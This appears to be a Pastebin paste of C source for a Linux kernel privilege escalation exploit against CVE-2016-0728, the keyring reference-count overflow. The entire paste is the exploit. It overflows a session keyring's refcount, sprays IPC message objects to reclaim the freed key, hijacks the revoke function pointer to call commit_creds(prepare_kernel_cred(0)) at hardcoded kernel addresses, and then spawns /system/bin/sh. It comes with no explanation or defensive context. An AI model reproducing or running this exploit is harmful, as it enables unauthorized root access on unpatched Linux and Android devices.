cubecube

CVE-2016-0728_test

Jan 20th, 2016
270
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.40 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <sys/types.h>
  5. #include <unistd.h>
  6. #include <time.h>
  7.  
  8. #include <sys/ipc.h>
  9. #include <sys/syscall.h>
  10.  
  11. struct cred;
  12. struct task_struct;
  13.  
  14. struct cred *(*prepare_kernel_cred)(struct task_struct *);
  15. int (*commit_creds)(struct cred *);
  16.  
  17. #define STRUCT_LEN (0xb8 - 0x30)
  18. #define PREPARE_KERNEL_CREDS_ADDR 0xc01b98a8
  19. #define COMMIT_CREDS_ADDR 0xc01b9370
  20.  
  21. //#define __NR_msgget 186
  22. //#define __NR_msgsnd 189
  23. //#define __NR_keyctl 219
  24.  
  25. #define KEY_SPEC_SESSION_KEYRING -3
  26. #define KEYCTL_JOIN_SESSION_KEYRING 1
  27. #define KEYCTL_REVOKE 3
  28. #define KEYCTL_SETPERM 5
  29.  
  30. #define KEY_POS_ALL 0x3f000000
  31. #define KEY_USR_ALL 0x003f0000
  32. #define KEY_GRP_ALL 0x00003f00
  33. #define KEY_OTH_ALL 0x0000003f
  34.  
  35. typedef int32_t key_serial_t;
  36.  
  37. struct key_type {
  38. char *name;
  39. size_t datalen;
  40. void *vet_description;
  41. void *preparse;
  42. void *free_preparse;
  43. void *instantiate;
  44. void *update;
  45. void *match_preparse;
  46. void *match_free;
  47. void *revoke;
  48. void *destroy;
  49. };
  50.  
  51. void userspace_revoke(void *key) {
  52. commit_creds(prepare_kernel_cred(0));
  53. }
  54.  
  55. int main(int argc, const char *argv[]) {
  56. //const char *keyring_name;
  57. const char *keyring_name = "PP_KEY";
  58. size_t i = 0;
  59. unsigned long int l = 0x100000000 / 2;
  60. key_serial_t serial = -1;
  61. pid_t pid = -1;
  62. struct key_type *my_key_type = NULL;
  63.  
  64. struct {
  65. long mtype;
  66. char mtext[STRUCT_LEN];
  67. } msg = {(long)0x4141414141414141, {0}};
  68. int msqid;
  69.  
  70. /*
  71. if (argc != 2) {
  72. puts("usage: ./keys <key_name>");
  73. return 1;
  74. }
  75. */
  76.  
  77. printf("uid=%d, euid=%d\n", getuid(), geteuid());
  78. commit_creds = (void *)COMMIT_CREDS_ADDR;
  79. prepare_kernel_cred = (void *)PREPARE_KERNEL_CREDS_ADDR;
  80.  
  81. my_key_type = malloc(sizeof(*my_key_type));
  82.  
  83. my_key_type->revoke = (void *)userspace_revoke;
  84. memset(msg.mtext, 'A', sizeof(msg.mtext));
  85.  
  86. // key->uid
  87. *(int *)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
  88. //key->perm
  89. *(int *)(&msg.mtext[64]) = 0x3f3f3f3f;
  90.  
  91. //key->type
  92. *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
  93.  
  94. if ((msqid = syscall(__NR_msgget, IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
  95. perror("msgget");
  96. exit(1);
  97. }
  98.  
  99. keyring_name = argv[1];
  100.  
  101. /* Set the new session keyring before we start */
  102.  
  103. serial = syscall(__NR_keyctl, KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
  104. if (serial < 0) {
  105. perror("keyctl");
  106. return -1;
  107. }
  108.  
  109. if (syscall(__NR_keyctl, KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
  110. perror("keyctl");
  111. return -1;
  112. }
  113.  
  114.  
  115. puts("Increfing...");
  116. for (i = 1; i < 0xfffffffd; ++i) {
  117. if (i == (0xffffffff - l)) {
  118. l = l / 2;
  119. sleep(5);
  120. }
  121. if (syscall(__NR_keyctl, KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
  122. perror("keyctl");
  123. return -1;
  124. }
  125. if (i % 0x100 == 0) {
  126. printf("i=%08x\n", i);
  127. }
  128. }
  129. sleep(5);
  130. /* here we are going to leak the last references to overflow */
  131. for (i = 0; i < 5; ++i) {
  132. if (syscall(__NR_keyctl, KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
  133. perror("keyctl");
  134. return -1;
  135. }
  136. }
  137.  
  138. puts("finished increfing");
  139. puts("forking...");
  140. /* allocate msg struct in the kernel rewriting the freed keyring object */
  141. for (i = 0; i < 64; ++i) {
  142. pid = fork();
  143. if (pid == -1) {
  144. perror("fork");
  145. return -1;
  146. }
  147.  
  148. if (pid == 0) {
  149. sleep(2);
  150. if ((msqid = syscall(__NR_msgget, IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
  151. perror("msgget");
  152. exit(1);
  153. }
  154. for (i = 0; i < 64; i++) {
  155. if (syscall(__NR_msgsnd, msqid, &msg, sizeof(msg.mtext), 0) == -1) {
  156. perror("msgsnd");
  157. exit(1);
  158. }
  159. }
  160. sleep(-1);
  161. exit(1);
  162. }
  163. }
  164.  
  165. puts("finished forking");
  166. sleep(5);
  167.  
  168. /* call userspace_revoke from kernel */
  169. puts("caling revoke...");
  170. if (syscall(__NR_keyctl, KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
  171. perror("keyctl_revoke");
  172. }
  173.  
  174. printf("uid=%d, euid=%d\n", getuid(), geteuid());
  175. system("/system/bin/sh");
  176.  
  177. return 0;
  178. }
Advertisement
Add Comment
Please, Sign In to add comment